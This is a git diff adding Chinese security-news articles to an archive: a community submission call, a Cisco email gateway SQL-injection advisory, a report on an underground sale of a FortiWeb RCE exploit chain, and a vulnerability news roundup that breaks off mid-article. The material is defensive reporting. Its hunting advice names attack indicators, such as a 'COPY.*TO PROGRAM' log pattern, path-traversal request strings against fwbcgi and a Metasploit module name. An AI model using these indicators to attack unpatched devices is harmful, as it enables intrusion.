diff --git a/data.json b/data.json index d4b97bf8..8b6c213a 100644 --- a/data.json +++ b/data.json @@ -26822,5 +26822,24 @@ "https://mp.weixin.qq.com/s/KfQKypZlvpd_mvP94k05Qw": "AI编程安全：业务逻辑漏洞，至今过不了的坎", "https://mp.weixin.qq.com/s/rGr1WhpTcPK2WoFngUcVHw": "使用ASC + 自建 MCP 做APK漏洞面定位流水线", "https://mp.weixin.qq.com/s/hQphKssKvTZ0q3G2mrny8A": "网安入门必学：基础不牢，漏洞白学", - "https://mp.weixin.qq.com/s/Sf9ns4WBGhxVNjOpQ1IqBg": "已复现 | 搜狗输入法“1点击”远程代码执行漏洞（视频）" + "https://mp.weixin.qq.com/s/Sf9ns4WBGhxVNjOpQ1IqBg": "已复现 | 搜狗输入法“1点击”远程代码执行漏洞（视频）", + "https://mp.weixin.qq.com/s/Dys5lUgDo39zIv4wEOaOSQ": "Fortinet FortiWeb 8.0–8.0.1 未授权 RCE 利用链地下售卖事件", + "https://mp.weixin.qq.com/s/KdYT3GHcEEutVY-sXkTa8w": "SPIP spip.php 存在远程命令执行漏洞复现poc CVE-2026-77806", + "https://mp.weixin.qq.com/s/TkLi9e8bq0-IDbrSU4WCZw": "【成功复现】InvoicePlane路径遍历漏洞(CVE-2026-23491)", + "https://mp.weixin.qq.com/s/UAywPSxyEDaHD9XkWZ93QQ": "【漏洞通告】Oracle WebLogic Server未授权远程接管漏洞（CVE-2026-70756)", + "https://mp.weixin.qq.com/s/vw9rN0G2_32n6gs2qO36kw": "某微信小程序漏洞挖掘", + "https://mp.weixin.qq.com/s/LUipytQlqiq5bZRGdOBDcg": "别乱点！你电脑里的搜狗输入法曾曝“点一下链接就中招”漏洞", + "https://mp.weixin.qq.com/s/PzQm7pYMyOaTKL6Fzh9vnQ": "雷神众测漏洞周报2026.9.7-2026.9.13", + "https://mp.weixin.qq.com/s/CxggiQE97GFPOAuZjpoEnQ": "9月社区投稿活动 | 漏洞挖掘∕AI渗透∕面试经验∕简历编写", + "https://mp.weixin.qq.com/s/5WjpSTcOTXPGhvibS_nfHw": "基础软硬件智能化漏洞治理生态创新技术交流活动成功举办", + "https://mp.weixin.qq.com/s/aYNGJ8fhElqgF8NDuVDVdg": "Marimo 漏洞把云凭据交到攻击者手里：从笔记本到堡垒机只需几秒", + "https://mp.weixin.qq.com/s/7NUR-THvCuqWIiNtFBt6yA": "火绒企业版2.0功能升级｜跨平台漏洞检测上线 查杀支持断点续杀", + "https://mp.weixin.qq.com/s/qPdkwy1Y9a_M3ZQ9cICt4A": "宇树暴跌！从4400亿到1900亿，制度漏洞还是估值泡沫？", + "https://mp.weixin.qq.com/s/rV5a1d74Y2545LxjTW5bEw": "收到欧盟CERT漏洞通知邮件怎么办？制造商必读的CRA合规应对指南", + "https://mp.weixin.qq.com/s/eN7zn6kvuNzWR_tDz0SwVg": "Cisco邮件网关9.8分漏洞被在野利用：一封邮件直接拿root，没有任何绕过的余地", + "https://mp.weixin.qq.com/s/2lkqxLJghdDjWTFWbVcyZQ": "五个 V8 漏洞里唯一的 Medium：Chrome 在野0Day CVE-2026-87491", + "https://mp.weixin.qq.com/s/d7RYPvYUGfUiydZJPOoslw": "防火墙不是安全终点：PAN-OS未认证漏洞可拿到PA设备root权限", + "https://mp.weixin.qq.com/s/bEvCh5YQzsMil0TUXSXPzA": "【风险通告】微软9月安全更新补丁和多个高危漏洞风险提示（CVE-2026-85880）", + "https://mp.weixin.qq.com/s/tb6lbASyfaf5tqv8q8gWFw": "【长亭AI安全·网安周进行时】9奖齐发！漏洞治理见真章，AI成果树标杆", + "https://mp.weixin.qq.com/s/nUkpVh3YJ7ejdG0SIAb5bA": "点开一个sgbiz链接就植入后门：搜狗输入法漏洞已被真实利用" } \ No newline at end of file diff --git a/doc/2026-09/9月社区投稿活动 漏洞挖掘∕AI渗透∕面试经验∕简历编写 (3)..md b/doc/2026-09/9月社区投稿活动 漏洞挖掘∕AI渗透∕面试经验∕简历编写 (3)..md new file mode 100644 index 00000000..105a582b --- /dev/null +++ b/doc/2026-09/9月社区投稿活动 漏洞挖掘∕AI渗透∕面试经验∕简历编写 (3)..md @@ -0,0 +1,101 @@ +# 9月社区投稿活动 | 漏洞挖掘/AI渗透/面试经验/简历编写 +原创 掌控者 + 掌控者 掌控安全EDU 2026-09-16 06:10 + +# 2026 | 09 月社区投稿活动 +### 本期活动奖金池 + +**30000金币** +(1000金币=100大洋，可在社区商城提现)，打空截止，不另外追加奖金池 +### 活动时间 + +9 月 1 日- 10 月 1 日 +### 投稿要求 + +**文章内容必须为原创内容，Track社区首发且未在公众号中发布过** +1. 文章简洁，格式美观大方，敏感内容请注意脱敏处理。 +2. 文章通过后，如果发现一稿多投，打赏的金币将收回。 +#### 3. 针对【漏洞复现】文章稿件要求如下： + +近三个月出现的热点大型漏洞分析复现，可根据情况给到1000 至 3000+ 金币稿费，具体稿费可添加审核微信咨询： + +1、详细的漏洞介绍 + +2、详细的环境搭建 + +3、详细的漏洞分析 + +4、详细的漏洞利用思路及复现 + +5、内容为原创Track社区首发 + +6、优秀原创案例： +flysheep | 飞塔漏洞分析报告之CVE-2024-21762 + +**封神台漏洞复现靶场 WriteUp 固定奖励 300 金币** + +**获取投稿活动咨询、投稿审核等 可联系审核微信：hackerxhz666，添加时请备注：track-你的社区昵称** +### 集赞奖励计划 +##### 在平台投稿审核通过的文章，将自动加入集赞奖励计划(奖励系统自动触发)： +- 5个赞，奖励 20 个金币 + +- 10个赞，奖励 40 个金币 + +- 20个赞，奖励 100 个金币 + +注：单人点赞有次数限制，恶意刷赞将被检测，请不要恶意刷赞。 + +**新增规则：在 掌控安全EDU 公众号发布的投稿文章，三天内点赞数超过20可额外获取100金币奖励** +### 本月活动文章主题：漏洞挖掘 + +**本月收录优秀面试经验贴，可以与其他投稿活动奖励叠加~****优秀面试经验贴案例：** +https://bbs.zkaq.cn/t/32026.html******面试经验模板贴：** +https://bbs.zkaq.cn/t/2956.html + +**特别优秀文章可以给到单篇 2000-3000 金币及以上的奖励，特别优秀文章：攻防对抗详细内容、对抗绕过成功等技巧性知识、知识点全面总结等，此类文章投稿请作者单独添加审核微信：hackerxhz666，备注：track-你的社区用户名** + +### 9 月主题投稿活动： + +**对于符合 9 月活动文章主题且文章稿费****≥2500 金币（≥250 元） 的 实战攻防文章****，每篇给予****额外的 300 金币****投稿活动奖励(注：此活动与每月日常投稿活动不叠加)。** + +### 每月日常投稿活动： +

投稿活动奖励

文章篇数

额外奖励

1

共发表 1 篇有效文章

100 金币（不限新老用户）

2

共发表 3 篇有效文章

300 金币

3

共发表 5 篇有效文章

500 金币

+ +**投稿活动奖励范畴：对于稿费 ≥ 2500 金币（≥250 元）的文章不参与每月日常投稿活动以及请不要设置文章付费门槛，因为我们会给到您足够的稿费！** + +**注：所有投稿活动奖励仅针对通过审核的有效文章，额外奖励可叠加，立即结算生效。实战文章若未达到 300以上（包括300）金币的文章，不计入投稿活动奖励范围** + +#### 长期收文章类型： +``` +实战纪实类(各大src、护网项目、实战渗透报告)  代码审计类（需写清楚完整的代码审计流程） 二进制安全研究 恶意样本分析 安全开发、漏洞利用武器化研究 CTF Writeup【暂时不做收录】 +``` + + +**对所有的投稿文章，默认作者授权允许本公司以原创的方式将文章转载到微信公众号中（微信公众号原创发布时 作者署名：zkaq-作者的社区名字）** + +注: + +1.如对该授权存在异议，请在文章中进行标注。文章仍可通过审核发布在平台，但社区将不奖励任何金币。其他用户阅读后打赏的金币仍归作者所有. + +2.对于实战类型的文章，请作者自行脱敏。对一些通杀漏洞的分析等文章，请作者在文章末尾提供修复建议 +### 稿件审核标准 + +文章的审核将从以下4个维度进行审核，并且会在稿件打赏中标明等级，及相应的金币数量 +``` +技术深度    一级 1000-3000金币    二级 500-1500金币    三级 100-500金币技术广度、普适性    一级 1500-3000金币    二级 700-1500金币    三级 100-700金币文章可读性、完整性    一级 200金币    二级 100金币文章稀缺度(稀缺度需要有技术深度) ：    一级 1000-2000金币    二级 700-1000金币    三级 0-700金币 +``` + +注：天梯会公示在社区、优秀文章也会推荐到正式课全群。如有他人打赏，打赏的金币归作者所有 + +### 加入 Track 社区微信群 + +添加官方微信：**hackerxhz666** +，邀请您加入群聊。添加时请备注 ：Track-你的 Track 社区昵称。 + + +### 最后 + +欢迎各位白帽参与投稿，获取投稿活动咨询、投稿审核沟通等 可联系审核微信：**hackerxhz666** +，添加时请备注：track-你的社区用户名，另外所有最终解释权归 Track 社区官方所有。 + + diff --git a/doc/2026-09/Cisco邮件网关9.8分漏洞被在野利用：一封邮件直接拿root，没有任何绕过的余地.md b/doc/2026-09/Cisco邮件网关9.8分漏洞被在野利用：一封邮件直接拿root，没有任何绕过的余地.md new file mode 100644 index 00000000..7047d9af --- /dev/null +++ b/doc/2026-09/Cisco邮件网关9.8分漏洞被在野利用：一封邮件直接拿root，没有任何绕过的余地.md @@ -0,0 +1,120 @@ +# Cisco邮件网关9.8分漏洞被在野利用：一封邮件直接拿root，没有任何绕过的余地 +原创 欢迎关注→ + 欢迎关注→ 安全客 2026-09-16 01:57 + +Cisco Secure Email Gateway存在CVE-2026-76461漏洞，CVSS 9.8分，攻击者发送特制邮件即可在网关上以root权限执行命令，目前已被在野利用，请立即升级到16.5.0-780版本。 + + +干安全的都知道，邮件网关是企业的"大门"。所有进出的邮件都要经过它扫一遍，病毒、钓鱼、垃圾邮件全靠它挡着。但9月14日，Cisco自己证实了一个让安全负责人坐不住的消息：Secure Email Gateway存在一个9.8分的严重漏洞，编号CVE-2026-76461，已经在被在野利用。 + +讽刺的是，这个专门用来挡邮件的设备，自己扛不住一封精心构造的邮件。 + + +01 + +漏洞有多严重：发封邮件就是root + +漏洞性质是SQL注入，存在于Cisco AsyncOS软件的邮件解析逻辑里。邮件网关在处理邮件内容时对数据校验不够严格，攻击者可以在邮件里嵌入恶意SQL语句。 + + +网关收到这封邮件之后，会把这些SQL语句当合法指令执行，最终在底层操作系统上以root权限运行攻击者的命令。整个过程不需要身份验证，不需要用户交互，甚至不需要目标打开邮件——网关自己解析邮件的时候就中招了。 + + +CVSS评分9.8分，差0.2分满分。Cisco在官方公告里写得很清楚：没有变通方案，没有缓解措施，唯一的办法就是升级。 + + +02 + +为什么这个漏洞特别要命 + +邮件网关在企业网络里的位置很特殊。它是边界设备，直接暴露在互联网上，接收来自任何地方的邮件。同时它又有很高的系统权限，要深度检查邮件内容，要能操作邮件队列，要能和内部的邮件服务器、目录服务通信。 + + +一旦被攻破，攻击者拿到的不是普通用户权限，是root。这意味着： + + +他们可以在网关上装后门，长期监听所有进出邮件；可以把网关当跳板往内网渗透；可以拦截或篡改关键邮件，比如合同、发票、密码重置链接；甚至可以利用网关的身份给内部员工发钓鱼邮件——内部邮件的信任度天然就高。 + + +邮件网关是安全设备，但一旦被攻破，反而成了攻击者手里最好用的武器。 + + +03 + +哪些版本受影响，怎么升级 + +受影响版本：15.5及更早版本、16.0、16.5。修复版本：15.5.5-014、16.0.4-302、16.5.0-780。Cisco强烈建议直接升到16.5.0-780，不要再停留在15.x或16.0。 + + +用Cisco Secure Email Cloud（云端版本）的用户，Cisco说已经直接联系了检测到恶意活动的客户。但云端用户自己也应该主动去确认，别等着别人通知。 + + +04 + +怎么排查：看日志找SQL语句 + +Cisco给的排查思路：检查邮件网关的mail_logs日志，搜索可疑SQL语句。官方示例命令是用grep搜索"COPY.*TO PROGRAM"这个模式。搜到了结果，说明这台设备很可能被攻击过。 + + +但要注意，攻击者拿到root权限之后是可以清理日志、隐藏痕迹的。所以不能只看邮件网关自己的日志，还要交叉检查网络设备、防火墙的日志，看有没有异常外联，比如邮件网关主动向外部IP上传数据，或者从可疑IP下载了什么东西。 + +用虚拟化部署的用户，还要检查底层虚拟化平台，确认攻击者有没有顺着网关往上爬。 + + +05 + +边界设备的安全债该还了 + +这几年边界设备被攻破的案例越来越多。VPN、防火墙、邮件网关、SSL加速器，这些本该是保护内网的第一道防线，反而成了攻击者最喜欢的入口。原因不复杂：暴露在互联网上，攻击面大；跑着实时服务，不能随便下线维护；固件更新麻烦，很多企业一拖再拖。 + + +邮件网关尤其尴尬。它的功能就是处理邮件，而邮件天然就是不可信的。你不能指望所有发件人都是好人，所以邮件网关必须把每一封邮件都当成潜在的恶意邮件来处理。但现实是，很多邮件网关自己的代码就没有按这个标准来写。 + + +安全团队应该趁这个机会重新审视所有边界设备的状态：固件版本是不是最新的，有没有开启不必要的功能，管理接口有没有暴露在互联网上，日志有没有集中收集和分析。这些基础工作平时看着不起眼，关键时候能救命。 + +![](https://mmecoa.qpic.cn/sz_mmecoa_gif/7icMUAtu929BicOey7hH4zGDEsqp2BibkEghfEZTEeedfg3ZDXLj8aiaNjuficqssNXdQvSzooGqUtQa78bwIW2pMu11kBHyzTy2wGrTfozSZk3Y/640?from=appmsg "") + +END + +推荐阅读 + +[AI已经开始自动打你了：Anthropic捅破窗户纸，黑客用Claude实现"检测即重生"](https://mp.weixin.qq.com/s?__biz=MzA5ODA0NDE2MA==&mid=2649790476&idx=1&sn=259ec76a2dc788f984e054bb78b54e1f&scene=21#wechat_redirect) + + +2026-09-15 +[](https://mp.weixin.qq.com/s?__biz=MzA5ODA0NDE2MA==&mid=2649790476&idx=1&sn=259ec76a2dc788f984e054bb78b54e1f&scene=21#wechat_redirect) + + +[红队两周的活，AI十小时干完：全球首例多智能体勒索攻击实录](https://mp.weixin.qq.com/s?__biz=MzA5ODA0NDE2MA==&mid=2649790471&idx=1&sn=51ded8e96316ccb2cc01a411bbfa2544&scene=21#wechat_redirect) + + +2026-09-14 +[](https://mp.weixin.qq.com/s?__biz=MzA5ODA0NDE2MA==&mid=2649790471&idx=1&sn=51ded8e96316ccb2cc01a411bbfa2544&scene=21#wechat_redirect) + + +[22万条最私密的照片和病历，就从一个API接口流了出去](https://mp.weixin.qq.com/s?__biz=MzA5ODA0NDE2MA==&mid=2649790466&idx=1&sn=8d1be72b1af7a1c1228aa0340836e66c&scene=21#wechat_redirect) + + +2026-09-10 +[](https://mp.weixin.qq.com/s?__biz=MzA5ODA0NDE2MA==&mid=2649790466&idx=1&sn=8d1be72b1af7a1c1228aa0340836e66c&scene=21#wechat_redirect) + + +[4200枚比特币只剩200枚：Liquid被掏空背后，"白帽"说法你信吗？](https://mp.weixin.qq.com/s?__biz=MzA5ODA0NDE2MA==&mid=2649790461&idx=1&sn=cdca7f302e0d3f4d814f6521d9b91e58&scene=21#wechat_redirect) + + +2026-09-08 +[](https://mp.weixin.qq.com/s?__biz=MzA5ODA0NDE2MA==&mid=2649790461&idx=1&sn=cdca7f302e0d3f4d814f6521d9b91e58&scene=21#wechat_redirect) + + +[深夜4小时，ChatGPT、Claude、Grok集体宕机：AI的根基正在动摇](https://mp.weixin.qq.com/s?__biz=MzA5ODA0NDE2MA==&mid=2649790456&idx=1&sn=4974fe1988d67755753f24662d7fd61d&scene=21#wechat_redirect) + + +2026-09-07 +[](https://mp.weixin.qq.com/s?__biz=MzA5ODA0NDE2MA==&mid=2649790456&idx=1&sn=4974fe1988d67755753f24662d7fd61d&scene=21#wechat_redirect) + + + +更多AI知识，请关注Aiker World社区 + + diff --git a/doc/2026-09/Fortinet FortiWeb 8.0–8.0.1 未授权 RCE 利用链地下售卖事件.md b/doc/2026-09/Fortinet FortiWeb 8.0–8.0.1 未授权 RCE 利用链地下售卖事件.md new file mode 100644 index 00000000..a8aa97a2 --- /dev/null +++ b/doc/2026-09/Fortinet FortiWeb 8.0–8.0.1 未授权 RCE 利用链地下售卖事件.md @@ -0,0 +1,144 @@ +# Fortinet FortiWeb 8.0–8.0.1 未授权 RCE 利用链地下售卖事件 +原创 李白 + 李白 李白你好 2026-09-16 06:51 + +## Fortinet漏洞情报 + +2026年9月16日 00:50黑客在地下论坛发布标题为 “Selling - Fortinet 1-day Exploit RCE” + 的售卖帖，声称出售针对 **Fortinet FortiWeb 8.0–8.0.1** + 的“1-day”利用，通过串联两个 CVE 实现**未授权远程代码执行（Unauthenticated RCE）** +，并提供完整利用链软件。 + +![](https://mmbiz.qpic.cn/mmbiz_png/ft6csZH0gNWwyFr2k1A3h7B8Diay2mnuGbwyurrfGiaYCPEndaCFllPibU4y02yWZz7LOS5Ogbk8FJEby7bdC93HgDPtkbwICBHibJzibhqiaOz8o/640?wx_fmt=png&from=appmsg "") + +售卖条件： +- 仅接受论坛托管（Forum Escrow）或指定中间人 @paw + +- 仅接受门罗币（XMR） + +- 标价 760 美元，可议 + +- 要求先通过论坛私信联系 + +![](https://mmbiz.qpic.cn/mmbiz_jpg/ft6csZH0gNWmwBSLAPjff6nlaoKiackVQqhzOX6rEnzwFLHDcHtjRLX9EZ0VoR5diaOQy8ESd6SiaKOMR3pBwU6GjdraWu5XMyxF8sicxw2kgKc/640?wx_fmt=webp&from=appmsg "") + +所谓“1-day”与版本范围（仅 8.0–8.0.1）高度指向 **2025 年 11 月已公开披露并被大规模利用** + 的已知漏洞链，而非全新 0-day。公开 Metasploit 模块早已存在，地下售卖更可能是**封装后的现成利用包** +或面向不愿使用公开工具的买家。 + +**动机：** + 地下市场持续对边缘安全设备（WAF/防火墙）未打补丁实例有需求。FortiWeb 作为面向互联网的 WAF，一旦被控可改策略、植入后门、作为跳板进入内网。 +## 技术研判：与已知公开利用链高度匹配 + +公开情报显示，FortiWeb 8.0.0–8.0.1 存在可直接链式利用的两个漏洞，修复版本为 **8.0.2 及以上** +： + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/ft6csZH0gNUibFICOQORxS17RFALWwg7zdlDSIDqYdjqNoicEZrrJheSgE0y5VUOrsLU7GIoBhdanr2ZxianuvNia63icwYeWU3usD2cGw5TR4mQ/640?wx_fmt=webp&from=appmsg "") + +
CVE
类型
权限要求
作用
修复版本（8.0 分支）
CVE-2025-64446
相对路径遍历 + 认证绕过（CWE-23）
未认证
访问内部 CGI（如 fwbcgi），伪造管理员身份，可创建本地管理员账号
8.0.2
CVE-2025-58034
操作系统命令注入（CWE-78）
需认证（常与上一漏洞串联）
通过管理 CLI（7.x/8.x 常见 /ws/cli/open）执行任意命令，获取 root 级代码执行
8.0.2
+ +![](https://mmbiz.qpic.cn/mmbiz_jpg/ft6csZH0gNWpUTEAkrGc4iczSTbHJ48D2XJeHiaSf1H4NR48icH5I1GutcIQlLmaoo3hZvOz3nBSql9iaib6yxSmyYHwiccyERk0ByiaBRGbulFghU/640?wx_fmt=webp&from=appmsg "") + +该链已被 CISA 列入已知被利用漏洞（KEV）目录，存在公开 PoC、检测工件生成器和 Metasploit 模块 exploit/linux/http/fortinet_fortiweb_rce +。利用流程通常为：路径混淆到达 CGI → 伪造管理员身份创建账号 → 登录后通过 CLI 注入命令。 + +卖方声称“串联两个 CVE 实现任意 FortiWeb 8.0–8.0.1 未授权 RCE”，与上述公开链在**版本范围、利用结果、链式结构** +上一致。2026 年 8 月另有 CVE-2026-26035（RADIUS 通配认证配置不当，影响至 8.0.2），但该漏洞本身不直接构成通用未认证 RCE，且卖方明确限定 8.0.1，因此**主匹配对象仍是 2025 年那条链** +。 + +**结论：** + 该商品大概率不是全新 0-day，而是对已公开、已大规模利用漏洞的商品化包装。对仍运行 8.0.0/8.0.1 且管理面暴露的设备，风险与 2025 年底野生利用浪潮相同。 +## 影响面与风险 + +**受影响产品：** + FortiWeb 8.0.0、8.0.1（卖方声明范围）。公开资料中同链还影响 7.6/7.4/7.2/7.0 及部分已停更的 6.x，但本次商品明确只卖 8.0–8.0.1。 + +![](https://mmbiz.qpic.cn/mmbiz_jpg/ft6csZH0gNVGB8d5G8eqa4eLspGAhW0SLkqvnAic9hUy6B7ibsYbRBia2PVnKNCCgK7VCgbrgHD7OEy8eMRV8nUnEO8MNH9fUA2X03H655IAqQ/640?wx_fmt=webp&from=appmsg "") + +**攻击前提：** + 管理 HTTP/HTTPS 接口可从攻击者网络到达（常见于管理口误暴露公网）。 + +**成功利用后可能后果：** +- 创建持久管理员账号 + +- 以高权限在设备上执行命令（root） + +- 篡改 WAF 策略、关闭防护 + +- 窃取配置、证书、会话 + +- 作为跳板横向移动或投放后续载荷 + +2025 年 10–11 月已观察到野生利用，特征包括创建特定管理员账号、对 fwbcgi + 的路径遍历请求等。时隔近一年仍有地下售卖，说明**未升级设备存量仍然可观** +。 +## 检测与狩猎建议 +1. **版本核查：** + 立即确认所有 FortiWeb 是否已升级至 **8.0.2 或更高** +（8.0 分支）；其他分支按厂商公告升级。 + +1. **暴露面：** + 管理口不得对公网开放；无法立即升级时，按厂商建议关闭互联网方向的 HTTP/HTTPS 管理。 + +1. **日志与配置审计：** + +1. 排查异常新增的本地管理员账号 + +1. 检查对 /cgi-bin/fwbcgi +、带 ../ + 或 %3f/../../ + 的 /api/v2.0/ + 请求 + +1. 关注 WebSocket CLI（/ws/cli/open +）异常会话 + +1. **网络侧：** + 对已知公开利用特征做 IDS/WAF 规则（注意卖方可能对公开 PoC 做了轻微变形）。 + +1. **事后：** + 升级后复查配置与日志，必要时轮换凭证并检查是否有持久化后门。 + +公开检测资源包括 watchTowr 等发布的工件生成器及厂商/社区规则，可直接用于狩猎。 +## 缓解与处置优先级 + +
优先级
动作
紧急
将 FortiWeb 8.0.0/8.0.1 升级至 8.0.2+；无法升级则切断公网管理访问
高
全量审计管理员账号与近期配置变更；检查是否已有异常账号
中
限制管理面来源 IP；启用可信主机；监控后续类似地下售卖
持续
将 Fortinet 边缘设备纳入常规补丁 SLA，避免“管理口暴露 + 滞后补丁”组合
+ +厂商官方缓解与升级路径以 FortiGuard PSIRT（如 FG-IR-25-910 及相关后续公告）为准。 +## 情报评估与后续跟踪 +- **技术真实性：** + 高。描述与 CVE-2025-64446 + CVE-2025-58034 公开链一致，版本卡点精确。 + +- **是否为全新 1-day：** + 低。更可能是对已公开链的商品化。不排除卖方对利用稳定性、封装或对抗做了小改动。 + +- **交易真实性：** + 中。新号 + 托管模式常见，存在收钱不交货或捆绑恶意软件风险。 + +- **建议跟踪项：** + 该帖后续回复与成交情况；是否出现针对 8.0.2+ 的新链售卖；Shodan/Censys 上仍暴露的 8.0.1 管理面规模。 + +## 总结 + +该地下帖并非全新零日爆料，而是**已知高危 FortiWeb 未认证 RCE 链在地下市场的持续变现** +。对已打补丁（≥8.0.2）且管理面隔离的环境，直接风险有限；对仍运行 8.0.0/8.0.1 且管理接口可达的资产，应视为**可被低成本、可复制利用的紧急风险** +，按 2025 年野生利用同等优先级处置。 + +防御核心仍是：**尽快升级、关闭公网管理、审计异常管理员与路径遍历痕迹。** + 地下售卖只会缩短从“公开利用”到“批量滥用”的时间窗口。 + +参考：https://www.cisa.gov/news-events/alerts/2025/11/14/fortinet-releases-security-advisory-relative-path-traversal-vulnerability-affecting-fortiweb + +https://hacktricks.wiki/en/network-services-pentesting/pentesting-web/fortinet-fortiweb.html https://www.csa.gov.sg/alerts-and-advisories/alerts/al-2026-105/ +## 网络安全情报攻防站 + +**www.libaisec.com** + +综合性的技术交流与资源共享社区 + +专注于红蓝对抗、攻防渗透、威胁情报、数据泄露 + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/ft6csZH0gNXJ2smpxYaKDrW7XZWolPkXWJV2225QCicwtjsicqACHfHu91yicGkuQUszQKXOBiak2lhLlRFaMs4ArRzn5QXscJpCIaiaRtFJPaKk/640?wx_fmt=webp&from=appmsg "") +> 👇 点击阅读原文，访问**网络安全情报攻防站** + + diff --git a/doc/2026-09/Marimo 漏洞把云凭据交到攻击者手里：从笔记本到堡垒机只需几秒.md b/doc/2026-09/Marimo 漏洞把云凭据交到攻击者手里：从笔记本到堡垒机只需几秒.md new file mode 100644 index 00000000..3f9ab584 --- /dev/null +++ b/doc/2026-09/Marimo 漏洞把云凭据交到攻击者手里：从笔记本到堡垒机只需几秒.md @@ -0,0 +1,119 @@ +# Marimo 漏洞把云凭据交到攻击者手里：从笔记本到堡垒机只需几秒 + 汇能云安全 2026-09-16 02:02 + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/AyvgaRYHWDbwZ4TibEzJbQicaTKPMqkX0uxR7UmNhh3aicvwj2sBoia8b20KAArZFKD6UA98CrBqocMiae8LCxEtmGFbI8qyyFdSyBOnYx99qbsE/640?wx_fmt=jpeg&from=appmsg "") + +**9****月****16****日，星期三****，您好！中科汇能与您分享信息安全快讯：** + +![](https://mmbiz.qpic.cn/sz_mmbiz_gif/AyvgaRYHWDakhx6b4qlO27ia81SicrmvXmCEjbdViana6ffVxUqJDAnbpL4RKQ1ibPovuCEia1vZ4C3GenXfnNwiaAAaqLN9xicydm96iauhcHVVoibg/640?wx_fmt=gif&from=appmsg "") + +**01** + +**Cisco 邮件安全网关零日已遭利用：邮件边界设备不能只看 “能不能收发信”** + + +CISA 近日将 Cisco Secure Email Gateway 中的漏洞 CVE-2026-76461 加入已知被利用漏洞目录。根据公开信息，这是影响 Cisco AsyncOS 的 SQL 注入问题，攻击者可能借助精心构造的请求影响设备后台处理逻辑。 +**邮件网关通常被放在企业互联网边界，承担邮件过滤、投递和安全策略执行，一旦这里出问题，风险就不只是某个管理页面打不开，而可能牵涉邮件数据、账号信息以及后续内网侦察。很多单位把邮件网关当成 “买来就不用管” 的安全设备，补丁管理反而落后于普通服务器。更麻烦的是，网关既要接收来自互联网的输入，又掌握大量邮件元数据和组织通信关系，攻击者从这里获得的线索，可能帮助其寻找高价值账号、财务往来和内部系统。CISA 明确提示存在真实利用时，就不能再用 “暂时没有发现异常” 作为拖延理由。** +使用 Cisco Secure Email Gateway 的企业应立即盘点设备型号、AsyncOS 版本、互联网暴露情况和管理账号，按 Cisco 官方安全公告完成升级或采取临时缓解措施。安全团队还要回看异常 SQL 样式请求、管理登录、策略修改、规则新增、邮件转发变化和设备向外发起的连接。若设备存在异常，不能只重启或覆盖补丁，应同步轮换管理凭据、保全日志，并检查邮件系统和内网是否已有后续活动。 + + +**02** + +**Marimo 漏洞把云凭据交到攻击者手里：从笔记本到堡垒机只需几秒** + + +Marimo 是一类面向数据分析和开发工作的笔记本平台，研究人员发现，攻击者正在利用其严重的未认证远程代码执行漏洞 CVE-2026-39987，先在 Marimo 环境执行操作，再窃取 AWS 凭据，并在极短时间内登录 SSH 堡垒主机。公开披露中提到，整个过程最快可在 8 秒左右完成。 +**这个数字的意义不在于每一次攻击都严格按秒推进，而在于它说明：云环境一旦把可执行入口和高权限凭据放在一起，留给防守方的反应时间非常短。数据科学平台经常被临时部署在公网，开发人员为了远程访问方便，可能直接开放端口，或者在环境变量、配置文件和实例元数据中留下云访问线索。** +攻击者获得代码执行能力后，不需要先慢慢研究业务，只要读取凭据、调用云接口、尝试连接堡垒机，就可能迅速从一台开发主机扩展到云账户和内部网络。使用 Marimo 的团队应立即确认版本和暴露面，优先升级到厂商修复版本；无法马上升级时，应限制公网访问，只允许经过 VPN 或零信任入口访问，并关闭不必要的高权限功能。所有可能被读取的 AWS 密钥都应立即轮换，检查其使用记录、角色切换、异常区域登录和新建资源。还要把笔记本平台与生产凭据隔离，禁止开发环境默认拥有访问核心云资源的权限。补漏洞只是起点，凭据和云侧活动同样要查。 + + +**03** + +**Gitea 高危漏洞遭自动化攻击：代码平台失守，发布链也可能一起被接管** + + +公开信息显示，攻击者正在利用 Gitea 远程代码执行漏洞 CVE-2026-60004，目标是暴露在互联网的源代码管理实例。 +**研究人员将相关攻击者称为 Red Heron，并观察到其快速把公开利用代码改造成自动化攻击框架。攻击可能带来源代码窃取、凭据收集、后门植入以及继续深入受害网络等后果。对企业而言，Gitea 不是普通办公网站，它往往连接代码仓库、构建任务、部署密钥和开发人员账号，代码平台的风险在于 “权限密度” 很高，攻击者拿到一个实例后，可能读取私有仓库，搜索配置文件和提交记录中的密钥，再利用 CI/CD 令牌进入构建服务器。** +如果仓库管理员账号、云访问密钥或发布签名材料保存在同一信任链上，最初的服务器漏洞就可能演变成软件供应链问题。即使没有证据证明某个单位已经被入侵，也不能只做版本升级而不检查历史活动。使用 Gitea 的企业应立即核对版本、部署方式和公网暴露情况，按官方安全公告升级，管理端尽量限制在内网、VPN 或零信任访问范围内。升级后要检查新增管理员、异常仓库访问、批量克隆、Webhook 变化、Runner 任务和陌生 SSH 密钥。凡是曾经出现在仓库、Issue、日志或环境变量中的凭据，都应按可能泄露处理并重新签发。对关键发布链，建议暂时启用人工审批、构建隔离和制品完整性校验，避免修复了入口却留下已被盗用的权限。 + + +**04** + +**LiteSpeed 共享主机用户可能拿到 root：低权限不代表影响只在一个网站** + + +cPanel 发布紧急安全提醒，LiteSpeed Web Server Enterprise 6.3.7 之前的版本存在严重问题，低权限的共享主机用户可能借此获得服务器级 root 权限。 +**共享主机的特点是多个网站和租户共用一台服务器，因此这类漏洞的影响并不局限于某个账号，攻击者一旦突破租户隔离，就可能读取其他站点文件、篡改页面、植入恶意脚本，甚至进一步接触服务器上的凭据和管理接口，这类风险最容易被托管服务商低估，很多服务商会认为用户本身权限很低，即使账号被盗也只是单站点问题，但如果 Web 服务器的权限边界存在缺陷，低权限账号就可能变成整台主机的跳板。** +对于电商、企业官网和客户管理系统来说，网站被接管还可能带来支付页面篡改、用户数据泄露和搜索引擎投毒。管理员应立即确认 LiteSpeed Enterprise 的准确版本，升级到 6.3.7 或更高修复版本，并对共享主机上的租户隔离、文件权限和控制面访问进行复核。补丁前要限制不必要的账号创建和脚本执行能力，不能以简单停用某个网站代替整体处置。升级后重点检查 root 权限异常、陌生计划任务、Web 目录新增文件、PHP 或脚本进程、SSH 密钥和异常外联。若同一服务器承载多个客户，还应按事件响应流程通知受影响租户，轮换可能暴露的数据库和面板凭据。 + + +**05** + +**WooCommerce 插件漏洞无需登录即可接管网站：上传功能要按不可信输入防守** + + +研究人员披露，WordPress 的 Wholesale Lead Capture 插件存在严重漏洞 